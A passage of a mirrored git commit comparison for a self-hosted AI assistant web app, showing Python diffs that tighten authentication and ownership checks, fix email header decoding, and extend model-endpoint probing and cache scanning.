mirror of
https://github.com/pewdiepie-archdaemon/odysseus.git
synced 2026-11-06 05:02:24 +01:00
Compare commits
40
Commits
67aeea4f8b
...
6c9a16a7a8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6c9a16a7a8 | ||
|
|
accdc4fc53 | ||
|
|
3a91c11ff8 | ||
|
|
00e8084969 | ||
|
|
c9198baa2e | ||
|
|
55343e89fb | ||
|
|
681a2a3f2a | ||
|
|
d7ece5b4a9 | ||
|
|
5dff35ba03 | ||
|
|
b22c2b280c | ||
|
|
a6bc1addd2 | ||
|
|
2a422c00ec | ||
|
|
8cfc5bb28f | ||
|
|
8d9d4ec9c6 | ||
|
|
8f2c8d2dc8 | ||
|
|
613bbb0dba | ||
|
|
8f5b7210cc | ||
|
|
2a6921a455 | ||
|
|
b8463e3ac2 | ||
|
|
92ef01d4fa | ||
|
|
c5ac89f01f | ||
|
|
b9a96bca1a | ||
|
|
706ea6a7b7 | ||
|
|
12cb39cbd9 | ||
|
|
43c16fc7e4 | ||
|
|
c75d3e1975 | ||
|
|
3c924b8dee | ||
|
|
adbcb3763f | ||
|
|
bdf4ec8b24 | ||
|
|
5d3e3c7053 | ||
|
|
04d6a5ccaa | ||
|
|
a3784da172 | ||
|
|
cbbb41dfb1 | ||
|
|
83b0ab7cd3 | ||
|
|
12a7e741d0 | ||
|
|
573d431399 | ||
|
|
2149f0fb67 | ||
|
|
83fca6ac62 | ||
|
|
000932a6d9 | ||
|
|
299538ea4e |
@@ -54,7 +54,7 @@ from core.constants import (
|
||||
REQUEST_TIMEOUT, OPENAI_API_KEY,
|
||||
)
|
||||
from core.database import SessionLocal, ApiToken
|
||||
from core.middleware import SecurityHeadersMiddleware
|
||||
from core.middleware import SecurityHeadersMiddleware, is_cors_preflight
|
||||
from core.auth import AuthManager
|
||||
from core.exceptions import (
|
||||
SessionNotFoundError, InvalidFileUploadError,
|
||||
@@ -253,6 +253,15 @@ if AUTH_ENABLED:
|
||||
class AuthMiddleware(BaseHTTPMiddleware):
|
||||
async def dispatch(self, request: Request, call_next):
|
||||
path = request.url.path
|
||||
# A genuine CORS preflight (OPTIONS + Access-Control-Request-Method)
|
||||
# carries no credentials by design and must reach CORSMiddleware to be
|
||||
# answered. AuthMiddleware is the outermost middleware, so gating the
|
||||
# preflight on auth 401s it before CORS can respond -- which blocks
|
||||
# every cross-origin browser/WebView client before the real request
|
||||
# is sent. Let real preflights through (only OPTIONS w/ the ACRM
|
||||
# header; never a credentialed request).
|
||||
if is_cors_preflight(request.method, request.headers):
|
||||
return await call_next(request)
|
||||
if _is_auth_exempt(path):
|
||||
return await call_next(request)
|
||||
# In-process internal-tool token bypass. Used by the agent
|
||||
@@ -784,6 +793,8 @@ async def serve_backgrounds(request: Request):
|
||||
|
||||
@app.get("/login")
|
||||
async def serve_login(request: Request):
|
||||
if not AUTH_ENABLED:
|
||||
return RedirectResponse(url="/", status_code=302)
|
||||
return _serve_html_with_nonce(request, abs_join(BASE_DIR, "static/login.html"))
|
||||
|
||||
@app.get("/api/version")
|
||||
|
||||
@@ -447,6 +447,12 @@ class AuthManager:
|
||||
username = username.strip().lower()
|
||||
if not self.verify_password(username, password):
|
||||
return None
|
||||
return self.create_session_trusted(username)
|
||||
|
||||
def create_session_trusted(self, username: str) -> str:
|
||||
"""Issue a session token for an already-verified user.
|
||||
Call only after verify_password (and TOTP if enabled) have passed."""
|
||||
username = username.strip().lower()
|
||||
token = secrets.token_hex(32)
|
||||
with self._sessions_lock:
|
||||
self._sessions[token] = {
|
||||
|
||||
@@ -1631,6 +1631,33 @@ def init_db():
|
||||
_migrate_encrypt_email_passwords()
|
||||
_migrate_encrypt_signatures()
|
||||
_migrate_encrypt_endpoint_keys()
|
||||
_migrate_backfill_task_folders()
|
||||
|
||||
|
||||
def _migrate_backfill_task_folders():
|
||||
"""Backfill folder='Tasks' on pre-existing task/research sessions.
|
||||
|
||||
Sessions created by the task scheduler (LLM tasks, action tasks, research
|
||||
runs) now set folder='Tasks' at creation time. This migration tags any
|
||||
older sessions that predate that assignment. Idempotent — only touches
|
||||
rows where folder is NULL or empty and the title matches known prefixes.
|
||||
"""
|
||||
try:
|
||||
with engine.connect() as conn:
|
||||
cols = [r[1] for r in conn.execute(text("PRAGMA table_info(sessions)"))]
|
||||
if "folder" not in cols:
|
||||
return
|
||||
res = conn.execute(text(
|
||||
"UPDATE sessions SET folder = 'Tasks' "
|
||||
"WHERE (folder IS NULL OR folder = '') "
|
||||
"AND (name LIKE '[Task] %' OR name LIKE '[Research] %')"
|
||||
))
|
||||
conn.commit()
|
||||
if res.rowcount:
|
||||
logging.getLogger(__name__).info(
|
||||
f"Backfilled folder='Tasks' on {res.rowcount} task/research sessions")
|
||||
except Exception as e:
|
||||
logging.getLogger(__name__).warning(f"task folder backfill: {e}")
|
||||
|
||||
|
||||
def _migrate_chat_messages_fts():
|
||||
|
||||
@@ -17,6 +17,15 @@ INTERNAL_TOOL_TOKEN = os.environ.get("ODYSSEUS_INTERNAL_TOKEN") or secrets.token
|
||||
INTERNAL_TOOL_HEADER = "X-Odysseus-Internal-Token"
|
||||
|
||||
|
||||
def is_cors_preflight(method: str, headers) -> bool:
|
||||
"""True for a genuine CORS preflight: an OPTIONS request carrying the
|
||||
Access-Control-Request-Method header. Such requests are credential-less by
|
||||
design and must reach CORSMiddleware to be answered -- gating them on auth
|
||||
401s the preflight and breaks every cross-origin browser/WebView client.
|
||||
Pure so it can be unit-tested without standing up the app."""
|
||||
return method == "OPTIONS" and "access-control-request-method" in headers
|
||||
|
||||
|
||||
def require_admin(request: Request):
|
||||
"""Raise 403 if the current user isn't an admin.
|
||||
Allows access when auth is explicitly disabled, or when the request carries
|
||||
|
||||
+14
-3
@@ -18,10 +18,22 @@ import ntpath
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
import sys
|
||||
from typing import List, Optional
|
||||
import platform
|
||||
|
||||
IS_WINDOWS = os.name == "nt"
|
||||
IS_POSIX = not IS_WINDOWS
|
||||
# Allows APFEL support and ARM-native binary recommendations on Apple Silicon Macs.
|
||||
IS_APPLE_SILICON = (
|
||||
IS_POSIX
|
||||
and platform.system() == "Darwin"
|
||||
and platform.machine().lower()
|
||||
in {
|
||||
"arm64",
|
||||
"aarch64",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# ── File permissions ────────────────────────────────────────────────────────
|
||||
@@ -53,9 +65,8 @@ def detached_popen_kwargs() -> dict:
|
||||
and is detached from any console.
|
||||
"""
|
||||
if IS_WINDOWS:
|
||||
flags = (
|
||||
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200)
|
||||
| getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
|
||||
flags = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) | getattr(
|
||||
subprocess, "DETACHED_PROCESS", 0x00000008
|
||||
)
|
||||
return {"creationflags": flags}
|
||||
return {"start_new_session": True}
|
||||
|
||||
Generated
+1
-1
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"name": "odysseus-ui",
|
||||
"name": "odysseus",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
|
||||
@@ -131,10 +131,8 @@ def setup_auth_routes(auth_manager: AuthManager) -> APIRouter:
|
||||
return {"ok": False, "requires_totp": True, "username": username}
|
||||
if not auth_manager.totp_verify(username, body.totp_code):
|
||||
raise HTTPException(401, "Invalid 2FA code")
|
||||
# All checks passed — create session
|
||||
token = await asyncio.to_thread(auth_manager.create_session, username, body.password)
|
||||
if not token:
|
||||
raise HTTPException(401, "Invalid credentials")
|
||||
# All checks passed — create session (password already verified above)
|
||||
token = await asyncio.to_thread(auth_manager.create_session_trusted, username)
|
||||
cookie_kwargs = dict(
|
||||
key=SESSION_COOKIE,
|
||||
value=token,
|
||||
|
||||
@@ -258,6 +258,17 @@ def parse_due_for_user(s: str) -> str:
|
||||
if t is not None:
|
||||
return base.replace(hour=t[0], minute=t[1]).isoformat()
|
||||
|
||||
# Time-first: "3pm today", "11pm today", "9am tomorrow"
|
||||
m = _re.match(r'^(.+?)\s+(today|tonight|tomorrow|tmrw|yesterday)$', lower)
|
||||
if m:
|
||||
time_part, word = m.group(1).strip(), m.group(2)
|
||||
base = today
|
||||
if word in ("tomorrow", "tmrw"): base = today + _td(days=1)
|
||||
elif word == "yesterday": base = today - _td(days=1)
|
||||
t = _parse_time(time_part)
|
||||
if t is not None:
|
||||
return base.replace(hour=t[0], minute=t[1]).isoformat()
|
||||
|
||||
m = _re.match(r'^in\s+(\d+)\s*(hour|hr|minute|min|day)s?\s*$', lower)
|
||||
if m:
|
||||
n = int(m.group(1)); unit = m.group(2)
|
||||
|
||||
@@ -551,7 +551,7 @@ async def build_chat_context(
|
||||
|
||||
# Auto-compact
|
||||
messages, context_length, was_compacted = await maybe_compact(
|
||||
sess, sess.endpoint_url, sess.model, messages, sess.headers,
|
||||
sess, sess.endpoint_url, sess.model, messages, sess.headers, owner=user,
|
||||
)
|
||||
messages = trim_for_context(messages, context_length)
|
||||
|
||||
|
||||
+12
-3
@@ -15,7 +15,7 @@ from typing import Any
|
||||
from fastapi import APIRouter, BackgroundTasks, Body, HTTPException, Request
|
||||
from fastapi.responses import StreamingResponse
|
||||
|
||||
from src.auth_helpers import require_user
|
||||
from src.auth_helpers import require_authenticated_request, require_user
|
||||
from src.tool_implementations import do_manage_notes
|
||||
|
||||
|
||||
@@ -41,7 +41,9 @@ async def _as_owner(request: Request, owner: str, fn, *args, **kwargs):
|
||||
the scope-gated owner (not the "api" pseudo-user the bearer middleware sets).
|
||||
Restores the original value when done. Works for sync and async handlers."""
|
||||
orig = getattr(request.state, "current_user", None)
|
||||
orig_api_token = getattr(request.state, "api_token", None)
|
||||
request.state.current_user = owner
|
||||
request.state.api_token = False
|
||||
try:
|
||||
result = fn(*args, **kwargs)
|
||||
if asyncio.iscoroutine(result):
|
||||
@@ -49,6 +51,13 @@ async def _as_owner(request: Request, owner: str, fn, *args, **kwargs):
|
||||
return result
|
||||
finally:
|
||||
request.state.current_user = orig
|
||||
if orig_api_token is None:
|
||||
try:
|
||||
delattr(request.state, "api_token")
|
||||
except AttributeError:
|
||||
pass
|
||||
else:
|
||||
request.state.api_token = orig_api_token
|
||||
|
||||
|
||||
def _scope_owner(request: Request, allowed: set[str]) -> str:
|
||||
@@ -146,7 +155,7 @@ def setup_codex_routes(
|
||||
|
||||
@router.get("/plugin.zip")
|
||||
def plugin_zip(request: Request):
|
||||
require_user(request)
|
||||
require_authenticated_request(request)
|
||||
root = Path(__file__).resolve().parent.parent / "integrations" / "codex"
|
||||
if not root.exists():
|
||||
raise HTTPException(404, "Codex plugin bundle not found")
|
||||
@@ -762,7 +771,7 @@ def setup_claude_routes() -> APIRouter:
|
||||
|
||||
@router.get("/plugin.zip")
|
||||
def plugin_zip(request: Request):
|
||||
require_user(request)
|
||||
require_authenticated_request(request)
|
||||
# Only ship the skills/ subtree so extracting at ~/.claude/ doesn't dump
|
||||
# README.md or other bundle metadata into the user's claude config dir.
|
||||
skills_root = Path(__file__).resolve().parent.parent / "integrations" / "claude" / "skills"
|
||||
|
||||
@@ -359,6 +359,20 @@ def _cached_model_scan_script(model_dirs: list[str] | None = None) -> str:
|
||||
" if os.path.exists(os.path.join(sf, 'model_index.json')): is_diffusion = True",
|
||||
" for f in collect_ggufs(sf): f['rel_path'] = sd + '/' + f['rel_path']; gguf_files.append(f)",
|
||||
" models.append({'repo_id':rid,'size_bytes':sz,'nb_files':nf,'has_incomplete':ic,'path':cache,'is_diffusion':is_diffusion,'is_gguf':bool(gguf_files),'gguf_files':gguf_files})",
|
||||
"def hf_cache_paths():",
|
||||
" candidates = []",
|
||||
" def add(p):",
|
||||
" if not p: return",
|
||||
" p = os.path.expanduser(p)",
|
||||
" if p not in candidates: candidates.append(p)",
|
||||
" add(os.environ.get('HUGGINGFACE_HUB_CACHE'))",
|
||||
" hf_home = os.environ.get('HF_HOME')",
|
||||
" if hf_home: add(os.path.join(hf_home, 'hub'))",
|
||||
" add('~/.cache/huggingface/hub')",
|
||||
" # Docker images mount ./data/huggingface at /app/.cache/huggingface.",
|
||||
" # When HOME is /root, expanduser() misses that persisted cache.",
|
||||
" add('/app/.cache/huggingface/hub')",
|
||||
" return candidates",
|
||||
"def scan_dir(p):",
|
||||
" if not os.path.isdir(p) or not safe_path(p): return",
|
||||
" for d in sorted(os.listdir(p)):",
|
||||
@@ -422,7 +436,7 @@ def _cached_model_scan_script(model_dirs: list[str] | None = None) -> str:
|
||||
" seen.add(name)",
|
||||
" models.append({'repo_id':name,'size_bytes':size_bytes,'nb_files':1,'has_incomplete':False,'path':'ollama','backend':'ollama','is_ollama':True})",
|
||||
" return",
|
||||
"scan_hf(os.path.expanduser('~/.cache/huggingface/hub'))",
|
||||
"for _hf_cache in hf_cache_paths(): scan_hf(_hf_cache)",
|
||||
"scan_ollama()",
|
||||
"scan_ollama_api()",
|
||||
]
|
||||
|
||||
@@ -664,8 +664,9 @@ def setup_document_routes(session_manager, upload_handler=None) -> APIRouter:
|
||||
try:
|
||||
# Verify ownership before listing versions
|
||||
doc = db.query(Document).filter(Document.id == doc_id).first()
|
||||
if doc:
|
||||
_verify_doc_owner(db, doc, user)
|
||||
if not doc:
|
||||
raise HTTPException(404, "Document not found")
|
||||
_verify_doc_owner(db, doc, user)
|
||||
versions = db.query(DocumentVersion).filter(
|
||||
DocumentVersion.document_id == doc_id
|
||||
).order_by(DocumentVersion.version_number.desc()).all()
|
||||
@@ -688,8 +689,9 @@ def setup_document_routes(session_manager, upload_handler=None) -> APIRouter:
|
||||
try:
|
||||
# Verify ownership
|
||||
doc = db.query(Document).filter(Document.id == doc_id).first()
|
||||
if doc:
|
||||
_verify_doc_owner(db, doc, user)
|
||||
if not doc:
|
||||
raise HTTPException(404, "Document not found")
|
||||
_verify_doc_owner(db, doc, user)
|
||||
ver = db.query(DocumentVersion).filter(
|
||||
DocumentVersion.document_id == doc_id,
|
||||
DocumentVersion.version_number == num,
|
||||
|
||||
+22
-14
@@ -802,20 +802,28 @@ def _imap(account_id: str | None = None, owner: str = ""):
|
||||
def _decode_header(raw):
|
||||
if not raw:
|
||||
return ""
|
||||
parts = email.header.decode_header(raw)
|
||||
decoded = []
|
||||
for data, charset in parts:
|
||||
if isinstance(data, bytes):
|
||||
try:
|
||||
decoded.append(data.decode(charset or "utf-8", errors="replace"))
|
||||
except (LookupError, ValueError):
|
||||
# Unknown/invalid MIME charset (e.g. a malformed or spam header
|
||||
# like =?x-unknown-charset?B?...?=). errors="replace" only covers
|
||||
# byte-decode errors, not codec lookup, so fall back to utf-8.
|
||||
decoded.append(data.decode("utf-8", errors="replace"))
|
||||
else:
|
||||
decoded.append(data)
|
||||
return " ".join(decoded)
|
||||
try:
|
||||
# make_header concatenates per RFC 2047: no spurious space between an
|
||||
# encoded-word and adjacent plain text (plain runs keep their own
|
||||
# whitespace), and the whitespace between two adjacent encoded-words is
|
||||
# dropped. The old " ".join produced "Re: Jose"-style double spaces on
|
||||
# every non-ASCII subject or sender.
|
||||
return str(email.header.make_header(email.header.decode_header(raw)))
|
||||
except Exception:
|
||||
# Malformed header or unknown/invalid MIME charset (e.g. a spam header
|
||||
# like =?x-unknown-charset?B?...?=) makes make_header raise LookupError;
|
||||
# fall back to a lossy per-part decode. errors="replace" only covers
|
||||
# byte-decode errors, not codec lookup, hence the explicit utf-8 retry.
|
||||
decoded = []
|
||||
for data, charset in email.header.decode_header(raw):
|
||||
if isinstance(data, bytes):
|
||||
try:
|
||||
decoded.append(data.decode(charset or "utf-8", errors="replace"))
|
||||
except (LookupError, ValueError):
|
||||
decoded.append(data.decode("utf-8", errors="replace"))
|
||||
else:
|
||||
decoded.append(data)
|
||||
return "".join(decoded)
|
||||
|
||||
|
||||
def _detect_sent_folder(conn):
|
||||
|
||||
@@ -1385,6 +1385,7 @@ def setup_gallery_routes() -> APIRouter:
|
||||
@router.post("/api/image/sharpen")
|
||||
async def sharpen_image(request: Request):
|
||||
"""Apply unsharp-mask sharpening to an image."""
|
||||
require_privilege(request, "can_generate_images")
|
||||
body = await request.json()
|
||||
image_b64 = body.get("image")
|
||||
amount = body.get("amount", 50) / 100.0
|
||||
|
||||
+43
-5
@@ -285,6 +285,8 @@ _HOST_TO_CURATED = (
|
||||
("x.ai", "xai"),
|
||||
("openrouter.ai", "openrouter"),
|
||||
("ollama.com", "ollama"),
|
||||
("opencode.ai/zen/go", "opencode-go"),
|
||||
("opencode.ai/zen", "opencode-zen"),
|
||||
)
|
||||
|
||||
|
||||
@@ -698,7 +700,6 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
|
||||
return list(fallback)
|
||||
return []
|
||||
|
||||
|
||||
def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]:
|
||||
"""Reachability probe that does not require installed/listed models."""
|
||||
from src.endpoint_resolver import resolve_url
|
||||
@@ -714,6 +715,10 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
or "ollama" in (parsed_base.hostname or "").lower()
|
||||
)
|
||||
|
||||
# APFEL-specific detection
|
||||
host = (parsed_base.hostname or "").lower()
|
||||
looks_like_apfel = "apfel" in host or parsed_base.port == 11435
|
||||
|
||||
def _result_from_response(r) -> Dict[str, Any]:
|
||||
if 300 <= r.status_code < 400:
|
||||
loc = r.headers.get("location", "")
|
||||
@@ -735,7 +740,23 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
last_error: Optional[str] = None
|
||||
|
||||
try:
|
||||
if looks_like_ollama:
|
||||
# APFEL does not behave like Ollama; use its health endpoint.
|
||||
if looks_like_apfel:
|
||||
root = base
|
||||
for suffix in ("/v1", "/api"):
|
||||
if root.endswith(suffix):
|
||||
root = root[: -len(suffix)].rstrip("/")
|
||||
break
|
||||
try:
|
||||
r = httpx.get(root + "/health", timeout=timeout, verify=llm_verify())
|
||||
result = _result_from_response(r)
|
||||
if result["reachable"]:
|
||||
return result
|
||||
last_error = result.get("error")
|
||||
except Exception as e:
|
||||
last_error = str(e)[:120]
|
||||
|
||||
elif looks_like_ollama:
|
||||
root = base
|
||||
for suffix in ("/v1", "/api"):
|
||||
if root.endswith(suffix):
|
||||
@@ -755,14 +776,31 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
||||
|
||||
try:
|
||||
r = httpx.get(base, headers=headers, timeout=timeout, verify=llm_verify())
|
||||
return _result_from_response(r)
|
||||
result = _result_from_response(r)
|
||||
# If the bare base URL returns a non-auth 4xx (e.g. 404), try /models
|
||||
# as a fallback. OpenAI-compatible servers like llama-swap return 404
|
||||
# on the base /v1 prefix but 200 on /v1/models. Auth failures (401/403)
|
||||
# are definitive — probing /models would just repeat the same rejection.
|
||||
if (
|
||||
not result["reachable"]
|
||||
and result.get("status_code") is not None
|
||||
and 400 <= result["status_code"] < 500
|
||||
and result["status_code"] not in (401, 403)
|
||||
):
|
||||
models_url = base.rstrip("/") + "/models"
|
||||
try:
|
||||
r2 = httpx.get(models_url, headers=headers, timeout=timeout, verify=llm_verify())
|
||||
result2 = _result_from_response(r2)
|
||||
if result2["reachable"]:
|
||||
return result2
|
||||
except Exception:
|
||||
pass
|
||||
return result
|
||||
except Exception as e:
|
||||
last_error = str(e)[:120]
|
||||
|
||||
return {"reachable": False, "status_code": None, "error": last_error}
|
||||
|
||||
|
||||
|
||||
def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str:
|
||||
"""Return a provider-aware error message for failed endpoint probes."""
|
||||
ping = ping or {}
|
||||
|
||||
+73
-13
@@ -95,6 +95,32 @@ def _note_to_dict(note: Note) -> Dict[str, Any]:
|
||||
}
|
||||
|
||||
|
||||
def _reminder_text_from_note(note: Note) -> tuple[str, str]:
|
||||
"""Return the reminder title/body from a stored note row."""
|
||||
title = (note.title or "Note reminder").strip() or "Note reminder"
|
||||
if note.items:
|
||||
try:
|
||||
items = json.loads(note.items)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
items = None
|
||||
if isinstance(items, list):
|
||||
pending: list[str] = []
|
||||
for item in items:
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
if item.get("done") or item.get("checked"):
|
||||
continue
|
||||
text = str(item.get("text") or "").strip()
|
||||
if text:
|
||||
pending.append(text)
|
||||
if pending:
|
||||
shown = "\n".join(f"- {text}" for text in pending[:8])
|
||||
extra = f"\n...and {len(pending) - 8} more" if len(pending) > 8 else ""
|
||||
return title, f"Pending ({len(pending)}):\n{shown}{extra}"
|
||||
return title, f"{len(items)} item{'s' if len(items) != 1 else ''}"
|
||||
return title, (note.content or "").strip()[:400]
|
||||
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Reminder dispatch — module-level so background tasks (built-in actions)
|
||||
@@ -542,6 +568,23 @@ def setup_note_routes(task_scheduler=None):
|
||||
def _owner(request: Request) -> Optional[str]:
|
||||
return get_current_user(request)
|
||||
|
||||
def _is_admin_or_single_user(request: Request, user: str | None) -> bool:
|
||||
if user == "internal-tool":
|
||||
return True
|
||||
if not user:
|
||||
# require_user() already admitted this request, which only happens
|
||||
# for auth-disabled, loopback-bypass, or unconfigured single-user
|
||||
# modes. There is no separate non-admin account boundary there.
|
||||
return True
|
||||
try:
|
||||
from core.auth import AuthManager
|
||||
auth_mgr = getattr(request.app.state, "auth_manager", None) or AuthManager()
|
||||
if not getattr(auth_mgr, "is_configured", True):
|
||||
return True
|
||||
return bool(auth_mgr.is_admin(user))
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
# --- LIST ---
|
||||
@router.get("")
|
||||
def list_notes(
|
||||
@@ -759,27 +802,44 @@ def setup_note_routes(task_scheduler=None):
|
||||
"""
|
||||
# Gate against anonymous callers — LLM synthesis can burn tokens.
|
||||
from src.auth_helpers import require_user as _ru
|
||||
_ru(request)
|
||||
user = _ru(request)
|
||||
body = await request.json()
|
||||
note_id = body.get("note_id")
|
||||
title = (body.get("title") or "").strip()
|
||||
note_body = (body.get("body") or "").strip()
|
||||
note_id = str(body.get("note_id") or "").strip()
|
||||
if not note_id:
|
||||
raise HTTPException(400, "note_id required")
|
||||
|
||||
# Optional overrides let the test button pass the current UI values
|
||||
# directly so the test never races against a pending settings save.
|
||||
caller = _owner(request)
|
||||
is_test = note_id.startswith("test-")
|
||||
is_admin = _is_admin_or_single_user(request, user or caller)
|
||||
_override: dict = {}
|
||||
if body.get("channel"):
|
||||
_override["reminder_channel"] = body["channel"]
|
||||
if body.get("webhook_integration_id"):
|
||||
_override["reminder_webhook_integration_id"] = body["webhook_integration_id"]
|
||||
if body.get("webhook_payload_template"):
|
||||
_override["reminder_webhook_payload_template"] = body["webhook_payload_template"]
|
||||
if is_test:
|
||||
if not is_admin:
|
||||
raise HTTPException(403, "Admin only")
|
||||
title = (body.get("title") or "Test Reminder").strip() or "Test Reminder"
|
||||
note_body = (body.get("body") or "").strip()
|
||||
# Optional overrides let the admin settings test button pass the
|
||||
# current UI values directly so it never races a pending save.
|
||||
if body.get("channel"):
|
||||
_override["reminder_channel"] = body["channel"]
|
||||
if body.get("webhook_integration_id"):
|
||||
_override["reminder_webhook_integration_id"] = body["webhook_integration_id"]
|
||||
if body.get("webhook_payload_template"):
|
||||
_override["reminder_webhook_payload_template"] = body["webhook_payload_template"]
|
||||
else:
|
||||
db = SessionLocal()
|
||||
try:
|
||||
note = db.query(Note).filter(Note.id == note_id).first()
|
||||
if not note:
|
||||
raise HTTPException(404, "Note not found")
|
||||
if caller is not None and note.owner != caller:
|
||||
raise HTTPException(404, "Note not found")
|
||||
title, note_body = _reminder_text_from_note(note)
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
return await dispatch_reminder(
|
||||
title=title, note_body=note_body, note_id=note_id,
|
||||
owner=_owner(request) or "",
|
||||
owner=caller or "",
|
||||
queue_browser=False,
|
||||
settings_override=_override or None,
|
||||
)
|
||||
|
||||
@@ -8,7 +8,7 @@ from fastapi import APIRouter, HTTPException, Query, Request, UploadFile, File,
|
||||
from src.request_models import DirectoryRequest
|
||||
from core.constants import BASE_DIR, PERSONAL_DIR
|
||||
from src.rag_singleton import get_rag_manager
|
||||
from src.auth_helpers import get_current_user, require_user
|
||||
from src.auth_helpers import require_privilege, require_user
|
||||
from core.middleware import require_admin
|
||||
from src.upload_handler import secure_filename
|
||||
|
||||
@@ -194,7 +194,7 @@ def setup_personal_routes(personal_docs_manager, rag_manager, rag_available):
|
||||
@router.post("/upload")
|
||||
async def upload_files_to_rag(request: Request, files: List[UploadFile] = File(...)):
|
||||
"""Upload files directly into RAG. Supports text and PDF."""
|
||||
user = get_current_user(request)
|
||||
user = require_privilege(request, "can_use_documents")
|
||||
rag = _rag()
|
||||
if not rag:
|
||||
raise HTTPException(503, "RAG system is not available — is the embedding service running?")
|
||||
@@ -286,9 +286,12 @@ def setup_personal_routes(personal_docs_manager, rag_manager, rag_available):
|
||||
except ValueError:
|
||||
# commonpath raises on mixed drives / non-comparable paths
|
||||
in_uploads = False
|
||||
if in_uploads and abs_target != base_abs and os.path.exists(abs_target):
|
||||
os.remove(abs_target)
|
||||
deleted_from_disk = True
|
||||
if in_uploads and abs_target != base_abs:
|
||||
try:
|
||||
os.remove(abs_target)
|
||||
deleted_from_disk = True
|
||||
except FileNotFoundError:
|
||||
pass # already gone — race with another request or cleanup
|
||||
|
||||
# Exclude the file from the listing (persists across restarts)
|
||||
personal_docs_manager.exclude_file(filepath)
|
||||
|
||||
+12
-11
@@ -39,11 +39,13 @@ def _first_chat_model(models) -> str:
|
||||
|
||||
def _resolve_research_endpoint(sess) -> tuple:
|
||||
"""Return (endpoint_url, model, headers) for Deep Research, checking admin overrides."""
|
||||
owner = getattr(sess, "owner", None) or None
|
||||
url, model, headers = resolve_endpoint(
|
||||
"research",
|
||||
fallback_url=sess.endpoint_url,
|
||||
fallback_model=sess.model,
|
||||
fallback_headers=sess.headers,
|
||||
owner=owner,
|
||||
)
|
||||
return url, model, headers
|
||||
|
||||
@@ -392,17 +394,17 @@ def setup_research_routes(research_handler, session_manager=None) -> APIRouter:
|
||||
finally:
|
||||
db.close()
|
||||
else:
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("research")
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("research", owner=user)
|
||||
if not ep_url:
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("utility")
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("utility", owner=user)
|
||||
# When neither research nor utility is configured, use the user's
|
||||
# configured DEFAULT model (default_endpoint_id/default_model) rather
|
||||
# than arbitrarily grabbing the first enabled endpoint's first model
|
||||
# (which surfaced gpt-3.5). "Default" should mean the default model.
|
||||
if not ep_url:
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("default")
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("default", owner=user)
|
||||
if not ep_url:
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("chat")
|
||||
ep_url, ep_model, ep_headers = resolve_endpoint("chat", owner=user)
|
||||
if not ep_url:
|
||||
from src.database import SessionLocal
|
||||
from src.endpoint_resolver import normalize_base, build_chat_url, build_headers
|
||||
@@ -572,19 +574,18 @@ def setup_research_routes(research_handler, session_manager=None) -> APIRouter:
|
||||
ep_headers = dict(r_headers)
|
||||
|
||||
if not ep_url or not ep_model:
|
||||
_merge(*resolve_endpoint("chat"))
|
||||
_merge(*resolve_endpoint("chat", owner=user))
|
||||
if not ep_url or not ep_model:
|
||||
_merge(*resolve_endpoint("research"))
|
||||
_merge(*resolve_endpoint("research", owner=user))
|
||||
if not ep_url or not ep_model:
|
||||
_merge(*resolve_endpoint("utility"))
|
||||
_merge(*resolve_endpoint("utility", owner=user))
|
||||
if not ep_url or not ep_model:
|
||||
# Last resort: any enabled endpoint
|
||||
# Last resort: this user's enabled endpoint, plus legacy shared rows.
|
||||
from src.database import SessionLocal
|
||||
from src.database import ModelEndpoint
|
||||
from src.endpoint_resolver import normalize_base, build_chat_url, build_headers
|
||||
db = SessionLocal()
|
||||
try:
|
||||
ep = db.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True).first()
|
||||
ep = _owned_enabled_endpoint(db, user)
|
||||
if ep:
|
||||
base = normalize_base(ep.base_url)
|
||||
fallback_url = build_chat_url(base)
|
||||
@@ -594,7 +595,7 @@ def setup_research_routes(research_handler, session_manager=None) -> APIRouter:
|
||||
try:
|
||||
models = json.loads(ep.cached_models)
|
||||
if models:
|
||||
fallback_model = models[0]
|
||||
fallback_model = _first_chat_model(models)
|
||||
except Exception:
|
||||
pass
|
||||
_merge(fallback_url, fallback_model, fallback_headers)
|
||||
|
||||
@@ -543,22 +543,25 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
||||
ids = body.get("ids", [])
|
||||
except Exception:
|
||||
ids = []
|
||||
deleted_count = 0
|
||||
for sid in ids:
|
||||
try:
|
||||
_verify_session_owner(request, sid, session_manager)
|
||||
session_manager.delete_session(sid)
|
||||
|
||||
# Enforce "starred" protection consistent with single-session delete
|
||||
db = SessionLocal()
|
||||
try:
|
||||
db.query(_CM).filter(_CM.session_id == sid).delete()
|
||||
db.query(DbSession).filter(DbSession.id == sid).delete()
|
||||
db.commit()
|
||||
except Exception:
|
||||
db.rollback()
|
||||
db_sess = db.query(DbSession).filter(DbSession.id == sid).first()
|
||||
if db_sess and db_sess.is_important:
|
||||
continue
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
if session_manager.delete_session(sid):
|
||||
deleted_count += 1
|
||||
except Exception:
|
||||
